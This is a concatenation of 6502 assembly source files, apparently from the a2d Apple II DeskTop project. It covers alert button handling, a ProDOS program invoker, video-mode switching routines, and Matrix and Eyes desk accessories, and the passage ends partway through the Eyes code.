;; Yes & No & All
MGTK_CALL MGTK::InRect, yes_button+BTK::ButtonRecord::rect
IF_NOT_ZERO
BTK_CALL BTK::Track, yes_button
bne was_no_button
lda #kAlertResultYes
ASSERT_NOT_EQUALS ::kAlertResultYes, 0
bne finish ; always
END_IF
MGTK_CALL MGTK::InRect, no_button+BTK::ButtonRecord::rect
IF_NOT_ZERO
BTK_CALL BTK::Track, no_button
bne was_no_button
lda #kAlertResultNo
ASSERT_NOT_EQUALS ::kAlertResultNo, 0
bne finish ; always
END_IF
MGTK_CALL MGTK::InRect, all_button+BTK::ButtonRecord::rect
beq was_no_button
BTK_CALL BTK::Track, all_button
bne was_no_button
lda #kAlertResultAll
ASSERT_NOT_EQUALS ::kAlertResultAll, 0
bne finish ; always
END_IF
.endif
;; Try Again
MGTK_CALL MGTK::InRect, try_again_button+BTK::ButtonRecord::rect
beq was_no_button
BTK_CALL BTK::Track, try_again_button
bne was_no_button
lda #kAlertResultTryAgain
ASSERT_EQUALS ::kAlertResultTryAgain, 0
beq finish ; always
;; OK
check_ok_rect:
MGTK_CALL MGTK::InRect, ok_button+BTK::ButtonRecord::rect
beq was_no_button
BTK_CALL BTK::Track, ok_button
bne was_no_button
lda #kAlertResultOK
ASSERT_NOT_EQUALS ::kAlertResultOK, 0
bne finish ; always
was_no_button:
jmp event_loop
;;; ============================================================
finish:
.ifdef AD_SAVEBG
bit alert_params::options
IF_VS ; V = use save area
pha
MGTK_CALL MGTK::RestoreScreenRect, alert_rect
pla
END_IF
.else
pha
MGTK_CALL MGTK::SetPenMode, pencopy
MGTK_CALL MGTK::PaintRect, alert_rect
pla
.endif ; AD_SAVEBG
rts
;;; ============================================================
.include "uppercase.s"
.endproc ; Alert
|
a2stuff/a2d
| 5,331
|
src/lib/invoker.s
|
;;; ============================================================
;;; Invoker - loaded into MAIN $290-$3EF
;;;
;;; Compiled as part of DeskTop and Selector
;;; ============================================================
;;; Used to invoke other programs (system, binary, BASIC)
BEGINSEG SegmentInvoker
.scope invoker
MLIEntry := MLI
;;; ============================================================
copy16 #PRODOS_SYS_START, jmp_addr
;; Interpreter?
lda INVOKER_INTERPRETER
bne use_interpreter ; Yes, load it
;; Set prefix
MLI_CALL SET_PREFIX, invoker::set_prefix_params
bcs ret
;; Check file type
MLI_CALL GET_FILE_INFO, invoker::get_info_params
bcs ret
lda invoker::get_info_params::file_type
;;; Binary file (BIN) - load and invoke at A$=AuxType
IF_A_EQ #FT_BINARY
lda invoker::get_info_params::aux_type
sta jmp_addr
sta invoker::read_params::data_buffer
lda invoker::get_info_params::aux_type+1
sta jmp_addr+1
sta invoker::read_params::data_buffer+1
IF_A_LT #$0C ; If loading at page < $0C00
lda #$BB ; ... use a high address buffer ($BB00)
SKIP_NEXT_2_BYTE_INSTRUCTION
END_IF
lda #$08 ; ... otherwise a low address buffer ($0800)
sta invoker::open_params::io_buffer+1
jmp load_target
END_IF
;;; ProDOS 8 System file (SYS) - load at default $2000
cmp #FT_SYSTEM
beq load_target
.assert INVOKER_FILENAME = PRODOS_SYS_PATH, error, "protocol mismatch"
;;; ProDOS 16 System file (S16) - invoke via QUIT call
cmp #FT_S16
beq quit_call
;; Failure
ret: rts
;;; ============================================================
;;; Interpreter - `INVOKER_INTERPRETER` populated by caller
;;; Per "Starting System Programs" in the ProDOS 8 Technical Reference
;;; Manual:
;;; * $280 set to path of launched SYS (e.g. "/VOL/PROG.SYSTEM")
;;; * Path buffer at $2006 set to file path (e.g. "/DATA/MYFILE")
;;; * Paths may be absolute or relative (to prefix)
;;; * Prefix not guaranteed to be set to anything
;;; This is followed by the ProDOS 2.0.x selector and BASIC.SYSTEM
;;; when invoking SYS files.
;;;
;;; Note that ProDOS 2.4's Bitsy Bye has subtly different behavior:
;;; $280 is set to the path containing the invoked file, and $380 has
;;; the full path to the interpreter itself i.e. `BASIC.SYSTEM` or
;;; `BASIS.SYSTEM`.
use_interpreter:
copy16 #INVOKER_INTERPRETER, invoker::open_params::pathname
FALL_THROUGH_TO load_target
;;; ============================================================
;;; Load target at given address
load_target:
MLI_CALL OPEN, invoker::open_params
bcs exit
lda invoker::open_params::ref_num
sta invoker::read_params::ref_num
MLI_CALL READ, invoker::read_params
bcs exit
MLI_CALL CLOSE, invoker::close_params
bcs exit
;; If interpreter, copy filename to interpreter buffer.
lda INVOKER_INTERPRETER
IF_NE
MLI_CALL SET_PREFIX, invoker::set_prefix_params
bcs exit
ldy INVOKER_FILENAME
DO
lda INVOKER_FILENAME,y
sta PRODOS_INTERPRETER_BUF,y ; ProDOS interpreter protocol
dey
WHILE_POS
;; ProDOS 2.4's Bitsy Bye populates $380 with the path to the
;; interpreter, so set both for good measure.
BITSY_SYS_PATH := $380
;; Populate path to interpreter now that memory is free
ldx INVOKER_INTERPRETER
DO
lda INVOKER_INTERPRETER,x
sta PRODOS_SYS_PATH,x
sta BITSY_SYS_PATH,x
dex
WHILE_POS
;; When launching BASIS.SYSTEM, ProDOS 2.4's Bitsy Bye populates
;; $280 with the path containing the target file.
BITSY_DIR_PATH := $280
bit INVOKER_BITSY_COMPAT
IF_NS
ldy INVOKER_PREFIX
DO
lda INVOKER_PREFIX,y
sta BITSY_DIR_PATH,y
dey
WHILE_POS
END_IF
END_IF
;; Set return address to the QUIT call below
;; (mostly for invoking BIN files)
PUSH_RETURN_ADDRESS quit_call
jmp_addr := *+1
jmp PRODOS_SYS_START
quit_call:
MLI_CALL QUIT, invoker::quit_params
exit: rts
;;; ============================================================
PAD_TO ::INVOKER_INTERPRETER
.res ::kPathBufferSize, 0
ASSERT_ADDRESS ::INVOKER_BITSY_COMPAT
.byte 0
;;; ============================================================
DEFINE_SET_PREFIX_PARAMS set_prefix_params, INVOKER_PREFIX
DEFINE_OPEN_PARAMS open_params, INVOKER_FILENAME, $800
DEFINE_READWRITE_PARAMS read_params, PRODOS_SYS_START, MLI - PRODOS_SYS_START
DEFINE_CLOSE_PARAMS close_params
DEFINE_GET_FILE_INFO_PARAMS get_info_params, INVOKER_FILENAME
;; $EE = extended call signature for IIgs/GS/OS variation.
DEFINE_QUIT_PARAMS quit_params, $EE, INVOKER_FILENAME
.endscope ; invoker
ENDSEG SegmentInvoker
|
a2stuff/a2d
| 3,896
|
src/lib/monocolor.s
|
;;; ============================================================
;;; Procs to set monochrome and color DHR mode
;;;
;;; API:
;;; * `SetColorMode` - set DHR color mode
;;; * `SetMonoMode` - set DHR monochrome mode
;;; * `SetRGBMode` - set preferred mode per settings
;;; * `ResetIIgsRGB` - set preferred mode, but only on IIgs
;;; (use as periodic task to reset mode after Control Panel)
;;;
;;; Required includes:
;;; * `lib/readwrite_settings.s`
;;; ============================================================
.proc SetRGBMode
ldx #DeskTopSettings::rgb_color
jsr ReadSetting
bpl SetMonoMode
FALL_THROUGH_TO SetColorMode
.endproc ; SetRGBMode
.proc SetColorMode
ldx #DeskTopSettings::system_capabilities
jsr ReadSetting
tax ; A = X = kSysCapXYZ bitmap
and #DeskTopSettings::kSysCapIsIIgs
bne iigs
txa ; A = X = kSysCapXYZ bitmap
and #DeskTopSettings::kSysCapMegaII
bne megaii
txa ; A = X = kSysCapXYZ bitmap
and #DeskTopSettings::kSysCapLCMEve
bne lcmeve
;; AppleColor Card - Mode 2 (Color 140x192)
;; Also: Video-7 and Le Chat Mauve Feline
sta SET80VID ; set register to 1
sta AN3_OFF
sta AN3_ON ; shift in 1 as first bit
sta AN3_OFF
sta AN3_ON ; shift in 1 as second bit
sta DHIRESON ; re-enable DHR
rts
;; Le Chat Mauve Eve - COL140 mode
;; (AN3 off, HR1 off, HR2 off, HR3 off)
lcmeve: sta AN3_OFF
sta HR1_OFF
sta HR2_OFF
sta HR3_OFF
rts
;; Apple IIgs - DHR Color (Composite)
iigs: lda #$00 ; Color
sta MONOCOLOR
FALL_THROUGH_TO megaii
;; Mega II - DHR Color (RGB)
megaii: lda NEWVIDEO
and #<~(1<<5) ; Color
sta NEWVIDEO
rts
.endproc ; SetColorMode
.proc SetMonoMode
ldx #DeskTopSettings::system_capabilities
jsr ReadSetting
tax ; A = X = kSysCapXYZ bitmap
and #DeskTopSettings::kSysCapIsIIgs
bne iigs
txa ; A = X = kSysCapXYZ bitmap
and #DeskTopSettings::kSysCapMegaII
bne megaii
txa ; A = X = kSysCapXYZ bitmap
and #DeskTopSettings::kSysCapLCMEve
bne lcmeve
;; AppleColor Card - Mode 1 (Monochrome 560x192)
;; Also: Video-7 and Le Chat Mauve Feline
sta CLR80VID ; set register to 0
sta AN3_OFF
sta AN3_ON ; shift in 0 as first bit
sta AN3_OFF
sta AN3_ON ; shift in 0 as second bit
sta SET80VID ; re-enable DHR
sta DHIRESON
rts
;; Le Chat Mauve Eve - BW560 mode
;; (AN3 off, HR1 off, HR2 on, HR3 on)
lcmeve: sta AN3_OFF
sta HR1_OFF
sta HR2_ON
sta HR3_ON
rts
;; Apple IIgs - DHR B&W (Composite)
iigs: lda #$80 ; Mono
sta MONOCOLOR
FALL_THROUGH_TO megaii
;; Mega II - DHR B&W (RGB)
megaii: lda NEWVIDEO
ora #(1<<5) ; B&W
sta NEWVIDEO
done: rts
.endproc ; SetMonoMode
;;; On IIgs, force preferred RGB mode. No-op otherwise.
.proc ResetIIgsRGB
ldx #DeskTopSettings::system_capabilities
jsr ReadSetting
and #DeskTopSettings::kSysCapIsIIgs
beq SetMonoMode::done ; nope
ldx #DeskTopSettings::rgb_color
jsr ReadSetting
bmi SetColorMode::iigs
bpl SetMonoMode::iigs ; always
.endproc ; ResetIIgsRGB
|
a2stuff/a2d
| 8,369
|
src/desk.acc/matrix.s
|
;;; ============================================================
;;; MATRIX - Desk Accessory
;;;
;;; Digital waterfall effect from The Matrix.
;;; (This is a good sample for text-mode screen savers.)
;;; ============================================================
.include "../config.inc"
.include "apple2.inc"
.include "../inc/apple2.inc"
.include "../inc/macros.inc"
.include "../mgtk/mgtk.inc"
.include "../common.inc"
.include "../desktop/desktop.inc"
;;; ============================================================
DA_HEADER
DA_START_AUX_SEGMENT
;;; ============================================================
event_params: .tag MGTK::Event
;;; ============================================================
DA_END_AUX_SEGMENT
DA_START_MAIN_SEGMENT
;;; ============================================================
kMainPageClearByte = ' '|$80 ; space
kAuxPageClearByte = $C0 ; light-green on black, for RGB cards
.proc Start
JUMP_TABLE_MGTK_CALL MGTK::FlushEvents
JUMP_TABLE_MGTK_CALL MGTK::HideCursor
bit ROMIN2
sta ALTZPOFF
jsr SaveText
sta TXTSET
sta CLR80VID
;; IIgs: set green-on-black
sec
jsr IDROUTINE
IF_CC
.pushcpu
.setcpu "65816"
lda TBCOLOR ; save text fg/bg
pha
copy8 #$C0, TBCOLOR ; assign text fg/bg
lda CLOCKCTL ; save border
and #$0F
pha
lda #$0F ; assign border
trb CLOCKCTL
.popcpu
END_IF
jsr Run
;; IIgs: restore color
sec
jsr IDROUTINE
IF_CC
.pushcpu
.setcpu "65816"
pla ; restore border
tsb CLOCKCTL
pla ; restore text fg/bg
sta TBCOLOR
.popcpu
END_IF
sta TXTCLR
sta SET80VID
jsr RestoreText
sta ALTZPON
bit LCBANK1
bit LCBANK1
JUMP_TABLE_MGTK_CALL MGTK::ShowCursor
jmp JUMP_TABLE_RGB_MODE
.endproc ; Start
;;; ============================================================
;;; Save and clear main/aux text page 1 (preserving screen holes)
.proc SaveText
sta SET80STORE ; let PAGE2 control banking
copy8 #0, CV
ptr1 := $06
ptr2 := $08
;; Set BASL/H
DO
jsr VTAB
add16 BASL, #save_buffer-$400, ptr1
add16 ptr1, #$400, ptr2
ldy #39
DO
;; Main
copy8 (BASL),y, (ptr1),y
copy8 #kMainPageClearByte, (BASL),y
;; Aux
sta PAGE2ON
copy8 (BASL),y, (ptr2),y
copy8 #kAuxPageClearByte, (BASL),y
sta PAGE2OFF
dey
WHILE_POS
inc CV
lda CV
WHILE_A_NE #24
sta CLR80STORE
rts
.endproc ; SaveText
;;; Restore main/aux text page 1 (preserving screen holes)
.proc RestoreText
sta SET80STORE ; let PAGE2 control banking
copy8 #0, CV
ptr1 := $06
ptr2 := $08
;; Set BASL/H
DO
jsr VTAB
add16 BASL, #save_buffer-$400, ptr1
add16 ptr1, #$400, ptr2
ldy #39
DO
;; Main
copy8 (ptr1),y, (BASL),y
;; Aux
sta PAGE2ON
copy8 (ptr2),y, (BASL),y
sta PAGE2OFF
dey
WHILE_POS
inc CV
lda CV
WHILE_A_NE #24
sta CLR80STORE
rts
.endproc ; RestoreText
;;; ============================================================
event_params: .tag MGTK::Event
;;; ============================================================
.proc CopyEventAuxToMain
copy16 #aux::event_params, STARTLO
copy16 #aux::event_params + .sizeof(MGTK::Event) - 1, ENDLO
copy16 #event_params, DESTINATIONLO
clc ; aux > main
jmp AUXMOVE
.endproc ; CopyEventAuxToMain
;;; ============================================================
;;; Guts of the screen saver
;;; Inspired by: https://github.com/neilk/apple-ii-matrix
.proc Run
ptr := $06
kNumCursors = 4
.struct Cursor
hpos .byte
vpos .byte
mode .byte ; high bit set = erase
.endstruct
jsr InitRand
;; Initialize cursors
copy8 #kNumCursors-1, index
DO
lda index
asl
tax
copy16 list,x, ptr
jsr ResetCursor
dec index
WHILE_POS
;; --------------------------------------------------
MainLoop:
;; See if there's an event that should make us exit.
bit LCBANK1
bit LCBANK1
sta ALTZPON
JUMP_TABLE_MGTK_CALL MGTK::GetEvent, aux::event_params
sta ALTZPOFF
bit ROMIN2
jsr CopyEventAuxToMain
lda event_params + MGTK::Event::kind
cmp #MGTK::EventKind::button_down
beq exit
cmp #MGTK::EventKind::key_down
beq exit
;; Iterate over all cursors
copy8 #kNumCursors-1, index
DO
lda index
asl
tax
copy16 list,x, ptr
jsr Random
and #%00011111 ; 1/32 chance of reset
IF_ZERO
jsr ResetCursor
ELSE
jsr AdvanceCursor
END_IF
dec index
WHILE_POS
bmi MainLoop ; always
exit: rts
;; --------------------------------------------------
.proc AdvanceCursor
;; Still on screen? If not, skip (until reset)
ldy #Cursor::vpos
lda (ptr),y
RTS_IF_A_GE #24
;; Set BASL/H
sta CV
jsr VTAB
;; Determine character to draw
ldy #Cursor::mode
lda (ptr),y
and #%00000001 ; Use low bit
IF_ZERO
lda #' '
ELSE
jsr GetRandomChar
END_IF
ora #$80
;; Draw it
pha
ldy #Cursor::hpos
lda (ptr),y
tay
pla
sta (BASL),y
;; Move down
ldy #Cursor::vpos
lda (ptr),y
clc
adc #1
sta (ptr),y
rts
.endproc ; AdvanceCursor
;; --------------------------------------------------
.proc ResetCursor
jsr GetRandomH
ldy #Cursor::hpos
sta (ptr),y
lda #0
ldy #Cursor::vpos
sta (ptr),y
jsr Random
ldy #Cursor::mode
sta (ptr),y
rts
.endproc ; ResetCursor
;; --------------------------------------------------
;;; Generate random horizontal position (0-39)
.proc GetRandomH
DO
jsr Random
and #%00111111 ; 0...63
WHILE_A_GE #40 ; retry if >= 40
rts
.endproc ; GetRandomH
;; --------------------------------------------------
;;; Generate random character
.proc GetRandomChar
DO
jsr Random
and #%01111111 ; 0...127
WHILE_A_LT #' '+1 ; retry if control or space
rts
.endproc ; GetRandomChar
;; --------------------------------------------------
.proc Wait
sec
wait2: pha
wait3: sbc #1
bne wait3
pla
sbc #1
bne wait2
rts
.endproc ; Wait
;; --------------------------------------------------
index: .byte 0
c1: .tag Cursor
c2: .tag Cursor
c3: .tag Cursor
c4: .tag Cursor
list: .addr c1, c2, c3, c4
ASSERT_ADDRESS_TABLE_SIZE list, kNumCursors
.endproc ; Run
;;; ============================================================
.include "../lib/prng.s"
;;; ============================================================
save_buffer := *
;;; Ensure there's enough room for both main and aux text page
.assert * + $800 < $2000, error, .sprintf("Not enough room for save buffers")
DA_END_MAIN_SEGMENT
;;; ============================================================
|
a2stuff/a2d
| 30,221
|
src/desk.acc/eyes.s
|
;;; ============================================================
;;; EYES - Desk Accessory
;;;
;;; Shows a resizable window with eyes that follow the mouse.
;;; ============================================================
.include "../config.inc"
RESOURCE_FILE "eyes.res"
.include "apple2.inc"
.include "../inc/apple2.inc"
.include "../inc/macros.inc"
.include "../mgtk/mgtk.inc"
.include "../common.inc"
.include "../desktop/desktop.inc"
.include "../inc/fp_macros.inc"
;;; ============================================================
DA_HEADER
DA_START_AUX_SEGMENT
;;; ============================================================
.proc AuxStart
;; Mostly use ZP preservation mode, since we use ROM FP routines.
MGTK_CALL MGTK::SetZP1, setzp_params_preserve
jsr Init
MGTK_CALL MGTK::SetZP1, setzp_params_nopreserve
rts
.endproc ; AuxStart
;;; ============================================================
kDAWindowId = $80
kDAWidth = kScreenWidth / 3
kDAHeight = kScreenHeight / 3
kDALeft = (kScreenWidth - kDAWidth)/2
kDATop = (kScreenHeight - kMenuBarHeight - kDAHeight)/2 + kMenuBarHeight
str_title:
PASCAL_STRING res_string_window_title
.params winfo
window_id: .byte kDAWindowId
options: .byte MGTK::Option::go_away_box
title: .addr str_title
hscroll: .byte MGTK::Scroll::option_none
vscroll: .byte MGTK::Scroll::option_none
hthumbmax: .byte 32
hthumbpos: .byte 0
vthumbmax: .byte 32
vthumbpos: .byte 0
status: .byte 0
reserved: .byte 0
mincontwidth: .word kScreenWidth / 5
mincontheight: .word kScreenHeight / 5
maxcontwidth: .word kScreenWidth
maxcontheight: .word kScreenHeight
port:
DEFINE_POINT viewloc, kDALeft, kDATop
mapbits: .addr MGTK::screen_mapbits
mapwidth: .byte MGTK::screen_mapwidth
reserved2: .byte 0
DEFINE_RECT maprect, 0, 0, kDAWidth, kDAHeight
pattern: .res 8, $FF
colormasks: .byte MGTK::colormask_and, MGTK::colormask_or
DEFINE_POINT penloc, 0, 0
penwidth: .byte 1
penheight: .byte 1
penmode: .byte MGTK::pencopy
textback: .byte MGTK::textbg_white
textfont: .addr DEFAULT_FONT
nextwinfo: .addr 0
REF_WINFO_MEMBERS
.endparams
;;; ============================================================
.params event_params
kind: .byte 0
;;; EventKind::key_down
key := *
modifiers := * + 1
;;; EventKind::update
window_id := *
;;; otherwise
xcoord := *
ycoord := * + 2
.res 4
.endparams
.params findwindow_params
mousex: .word 0
mousey: .word 0
which_area: .byte 0
window_id: .byte 0
.endparams
.params trackgoaway_params
clicked: .byte 0
.endparams
.params dragwindow_params
window_id: .byte 0
dragx: .word 0
dragy: .word 0
moved: .byte 0
.endparams
.params getwinport_params
window_id: .byte kDAWindowId
port: .addr grafport
.endparams
.params screentowindow_params
window_id: .byte kDAWindowId
DEFINE_POINT screen, 0, 0
DEFINE_POINT window, 0, 0
.endparams
mx := screentowindow_params::window::xcoord
my := screentowindow_params::window::ycoord
grafport: .tag MGTK::GrafPort
kGrowBoxWidth = 17
kGrowBoxHeight = 7
.params grow_box_params
DEFINE_POINT viewloc, 0, 0
mapbits: .addr grow_box_bitmap
mapwidth: .byte 3
reserved: .byte 0
DEFINE_RECT maprect, 2, 2, 19, 9
REF_MAPINFO_MEMBERS
.endparams
grow_box_bitmap:
PIXELS "#####################"
PIXELS "#...................#"
PIXELS "#..##########.......#"
PIXELS "#..##......#######..#"
PIXELS "#..##......##...##..#"
PIXELS "#..##......##...##..#"
PIXELS "#..##########...##..#"
PIXELS "#....##.........##..#"
PIXELS "#....#############..#"
PIXELS "#...................#"
PIXELS "#####################"
setzp_params_nopreserve: ; performance over convenience
.byte MGTK::zp_overwrite
setzp_params_preserve: ; convenience over performance
.byte MGTK::zp_preserve
;;; ============================================================
.struct OvalRec
top .word ; int [16.0]
bottom .word ; int [16.0]
yy .word ; int [16.0]
rSqYSq .dword ; longint [32.0]
square .dword ; fixed [16.16]
oddNum .dword ; fixed [16.16]
oddBump .dword ; fixed [16.16]
leftEdge .dword ; fixed [16.16]
rightEdge .dword ; fixed [16.16]
oneHalf .dword ; fixed [16.16]
.endstruct
;;; Parameters for `InitOval` call
.params io_params
.params rect
left: .word 0 ; int [16.0]
top: .word 0 ; int [16.0]
right: .word 0 ; int [16.0]
bottom: .word 0 ; int [16.0]
.endparams
oval: .addr 0 ; int [16.0]
width: .word 0 ; int [16.0]
height: .word 0 ; int [16.0]
.endparams
;;; Parameters for `BumpOval` call
.params bo_params
oval: .addr 0
vert: .word 0 ; [16.0]
.endparams
;;; Used by DrawEyeball
eye_rect:
.tag MGTK::Rect
;;; ============================================================
.proc Init
copy8 #0, SHIFT_SIGN_EXT ; Must zero before using FP ops
MGTK_CALL MGTK::OpenWindow, winfo
jsr DrawWindow
MGTK_CALL MGTK::FlushEvents
FALL_THROUGH_TO InputLoop
.endproc ; Init
.proc InputLoop
JSR_TO_MAIN JUMP_TABLE_SYSTEM_TASK
MGTK_CALL MGTK::GetEvent, event_params
lda event_params::kind
cmp #MGTK::EventKind::button_down
beq HandleDown
cmp #MGTK::EventKind::key_down
beq HandleKey
cmp #MGTK::EventKind::no_event
beq HandleNoEvent
jmp InputLoop
.endproc ; InputLoop
.proc Exit
MGTK_CALL MGTK::CloseWindow, winfo
JSR_TO_MAIN JUMP_TABLE_CLEAR_UPDATES
rts
.endproc ; Exit
;;; ============================================================
.proc HandleKey
lda event_params::key
ldx event_params::modifiers
IF_NOT_ZERO
jsr ToUpperCase
cmp #kShortcutCloseWindow
beq Exit
bne InputLoop ; always
END_IF
cmp #CHAR_ESCAPE
beq Exit
bne InputLoop ; always
.endproc ; HandleKey
;;; ============================================================
.proc HandleDown
copy16 event_params::xcoord, findwindow_params::mousex
copy16 event_params::ycoord, findwindow_params::mousey
MGTK_CALL MGTK::FindWindow, findwindow_params
lda findwindow_params::window_id
cmp #kDAWindowId
bne InputLoop
lda findwindow_params::which_area
cmp #MGTK::Area::close_box
beq HandleClose
cmp #MGTK::Area::dragbar
jeq HandleDrag
cmp #MGTK::Area::content
jeq HandleGrow
jmp InputLoop
.endproc ; HandleDown
;;; ============================================================
.proc HandleClose
MGTK_CALL MGTK::TrackGoAway, trackgoaway_params
lda trackgoaway_params::clicked
bne Exit
jmp InputLoop
.endproc ; HandleClose
;;; ============================================================
.proc HandleNoEvent
;; First time? Need to store last coords
lda has_last_coords
bne test
inc has_last_coords
bne moved
test:
;; Compute absolute X delta
sub16 event_params::xcoord, screentowindow_params::screen::xcoord, delta
lda delta+1
IF_NEG
sub16 #0, delta, delta ; negate
END_IF
cmp16 delta, #kMoveThresholdX
bcs moved
;; Compute absolute Y delta
sub16 event_params::ycoord, screentowindow_params::screen::ycoord, delta
lda delta+1
IF_NEG
sub16 #0, delta, delta ; negate
END_IF
cmp16 delta, #kMoveThresholdY
bcs moved
;; Hasn't moved enough
jmp done
moved: copy16 event_params::xcoord, screentowindow_params::screen::xcoord
copy16 event_params::ycoord, screentowindow_params::screen::ycoord
MGTK_CALL MGTK::ScreenToWindow, screentowindow_params
jsr DrawWindow
done: jmp InputLoop
delta: .word 0
.endproc ; HandleNoEvent
;;; ============================================================
.proc HandleDrag
copy8 #kDAWindowId, dragwindow_params::window_id
copy16 event_params::xcoord, dragwindow_params::dragx
copy16 event_params::ycoord, dragwindow_params::dragy
MGTK_CALL MGTK::DragWindow, dragwindow_params
common:
lda dragwindow_params::moved
IF_NS
;; Draw DeskTop's windows and icons
JSR_TO_MAIN JUMP_TABLE_CLEAR_UPDATES
;; Draw DA's window
lda #0
sta has_last_coords
sta has_drawn_outline
jsr DrawWindow
END_IF
jmp InputLoop
.endproc ; HandleDrag
;;; ============================================================
.proc HandleGrow
;; Is the hit within the grow box area?
copy16 event_params::xcoord, screentowindow_params::screen::xcoord
copy16 event_params::ycoord, screentowindow_params::screen::ycoord
MGTK_CALL MGTK::ScreenToWindow, screentowindow_params
sub16 winfo::maprect::x2, mx, tmpw
cmp16 #kGrowBoxWidth, tmpw
bcc nope
sub16 winfo::maprect::y2, my, tmpw
cmp16 #kGrowBoxHeight, tmpw
bcc nope
;; Initiate the grow... re-using the drag logic
copy8 #kDAWindowId, dragwindow_params::window_id
copy16 event_params::xcoord, dragwindow_params::dragx
copy16 event_params::ycoord, dragwindow_params::dragy
MGTK_CALL MGTK::GrowWindow, dragwindow_params
jmp HandleDrag::common
nope: jmp InputLoop
tmpw: .word 0
.endproc ; HandleGrow
;;; ============================================================
penXOR: .byte MGTK::penXOR
notpencopy: .byte MGTK::notpencopy
kPenW = 8
kPenH = 4
kPupilW = kPenW * 2
kPupilH = kPenH * 2
.params pupil_pensize
penwidth: .byte kPupilW
penheight: .byte kPupilH
.endparams
;;; Flag set once we have coords from a move event
has_last_coords:
.byte 0
;;; Flag set once outline is drawn (cleared on window move)
has_drawn_outline:
.byte 0
;;; Minimum threshold to move to trigger a redraw, to avoid flicker.
kMoveThresholdX = 5
kMoveThresholdY = 5
;;; Saved coords
DEFINE_POINT pos_l, 0, 0
DEFINE_POINT pos_r, 0, 0
;;; ============================================================
.proc DrawWindow
;; Defer if content area is not visible
MGTK_CALL MGTK::GetWinPort, getwinport_params
RTS_IF_A_EQ #MGTK::Error::window_obscured
;; Defer until we have mouse coords
lda has_last_coords
RTS_IF_ZERO
MGTK_CALL MGTK::SetPort, grafport
MGTK_CALL MGTK::HideCursor
lda has_drawn_outline
jne erase_pupils
inc has_drawn_outline
MGTK_CALL MGTK::SetPenMode, notpencopy
;; Draw resize box
sub16 winfo::maprect::x2, #kGrowBoxWidth, grow_box_params::viewloc::xcoord
sub16 winfo::maprect::y2, #kGrowBoxHeight, grow_box_params::viewloc::ycoord
MGTK_CALL MGTK::PaintBitsHC, grow_box_params
;; Draw outline
MGTK_CALL MGTK::SetZP1, setzp_params_nopreserve
;; Left
copy16 #0, eye_rect+MGTK::Rect::x1
copy16 #0, eye_rect+MGTK::Rect::y1
copy16 winfo::maprect::x2, eye_rect+MGTK::Rect::x2
lsr16 eye_rect+MGTK::Rect::x2
add16 winfo::maprect::y2, #1, eye_rect+MGTK::Rect::y2
jsr DrawEyeball
;; Right
copy16 eye_rect+MGTK::Rect::x2, eye_rect+MGTK::Rect::x1
copy16 winfo::maprect::x2, eye_rect+MGTK::Rect::x2
jsr DrawEyeball
MGTK_CALL MGTK::SetZP1, setzp_params_preserve
;; Skip erasing pupils if we're redrawing
jmp draw_pupils
erase_pupils:
MGTK_CALL MGTK::SetPenMode, penXOR
MGTK_CALL MGTK::SetPenSize, pupil_pensize
MGTK_CALL MGTK::MoveTo, pos_l
MGTK_CALL MGTK::LineTo, pos_l
MGTK_CALL MGTK::MoveTo, pos_r
MGTK_CALL MGTK::LineTo, pos_r
draw_pupils:
MGTK_CALL MGTK::SetPenMode, penXOR
MGTK_CALL MGTK::SetPenSize, pupil_pensize
add16 winfo::maprect::x2, #2, rx ; width / 4
lsr16 rx
lsr16 rx
add16 winfo::maprect::y2, #2, ry ; height / 2
lsr16 ry
copy16 rx, cx
copy16 ry, cy
jsr ComputePupilPos
sub16 ppx, #kPupilW/2, pos_l::xcoord
sub16 ppy, #kPupilH/2, pos_l::ycoord
MGTK_CALL MGTK::MoveTo, pos_l
MGTK_CALL MGTK::LineTo, pos_l
add16 rx, cx, cx
add16 rx, cx, cx
jsr ComputePupilPos
sub16 ppx, #kPupilW/2, pos_r::xcoord
sub16 ppy, #kPupilH/2, pos_r::ycoord
MGTK_CALL MGTK::MoveTo, pos_r
MGTK_CALL MGTK::LineTo, pos_r
MGTK_CALL MGTK::ShowCursor
rts
.endproc ; DrawWindow
;;; ============================================================
;;; Assumes the pen is 1px x 1px
;;; Inputs: `eye_rect` must be set up by the caller
.proc DrawEyeball
COPY_STRUCT MGTK::Rect, eye_rect, io_params::rect
copy16 #outer_oval, io_params::oval
sub16 io_params::rect::right, io_params::rect::left, io_params::width
sub16 io_params::rect::bottom, io_params::rect::top, io_params::height
jsr InitOval
add16 eye_rect+MGTK::Rect::x1, #kPenW, io_params::rect::left
add16 eye_rect+MGTK::Rect::y1, #kPenH, io_params::rect::top
sub16 eye_rect+MGTK::Rect::x2, #kPenW, io_params::rect::right
sub16 eye_rect+MGTK::Rect::y2, #kPenH, io_params::rect::bottom
copy16 #inner_oval, io_params::oval
sub16 io_params::rect::right, io_params::rect::left, io_params::width
sub16 io_params::rect::bottom, io_params::rect::top, io_params::height
jsr InitOval
copy16 outer_oval+OvalRec::top, yy
loop:
copy16 #outer_oval, bo_params::oval
copy16 yy, bo_params::vert
jsr BumpOval
copy16 #inner_oval, bo_params::oval
copy16 yy, bo_params::vert
jsr BumpOval
copy16 yy, rect+MGTK::Rect::y1
copy16 yy, rect+MGTK::Rect::y2
cmp16 yy, inner_oval+OvalRec::top
bcc outer_only
cmp16 yy, inner_oval+OvalRec::bottom
bcs outer_only
;; Need to draw the left and right edges
copy16 outer_oval+OvalRec::leftEdge+2, rect+MGTK::Rect::x1
copy16 inner_oval+OvalRec::leftEdge+2, rect+MGTK::Rect::x2
MGTK_CALL MGTK::PaintRect, rect
copy16 inner_oval+OvalRec::rightEdge+2, rect+MGTK::Rect::x1
copy16 outer_oval+OvalRec::rightEdge+2, rect+MGTK::Rect::x2
MGTK_CALL MGTK::PaintRect, rect
jmp next
;; Only need to draw the outer oval
outer_only:
copy16 outer_oval+OvalRec::leftEdge+2, rect+MGTK::Rect::x1
copy16 outer_oval+OvalRec::rightEdge+2, rect+MGTK::Rect::x2
MGTK_CALL MGTK::PaintRect, rect
next:
inc16 yy
cmp16 yy, outer_oval+OvalRec::bottom
jcc loop
rts
yy: .word 0
rect: .tag MGTK::Rect
outer_oval:
.tag OvalRec
inner_oval:
.tag OvalRec
.endproc ; DrawEyeball
;;; ============================================================
;;; Common input params
rx: .word 0
ry: .word 0
cx: .word 0
cy: .word 0
;;; ============================================================
;;; Compute pupil location
;;;
;;; Inputs: mx, my, cx, cy, rx, ry
;;; Outputs: ppx, ppy
ppx: .word 0
ppy: .word 0
.proc ComputePupilPos
;; TODO: Do this with integer math instead.
bit ROMIN2
FAC_LOAD_INT cx
FAC_STORE cxf
FAC_LOAD_INT cy
FAC_STORE cyf
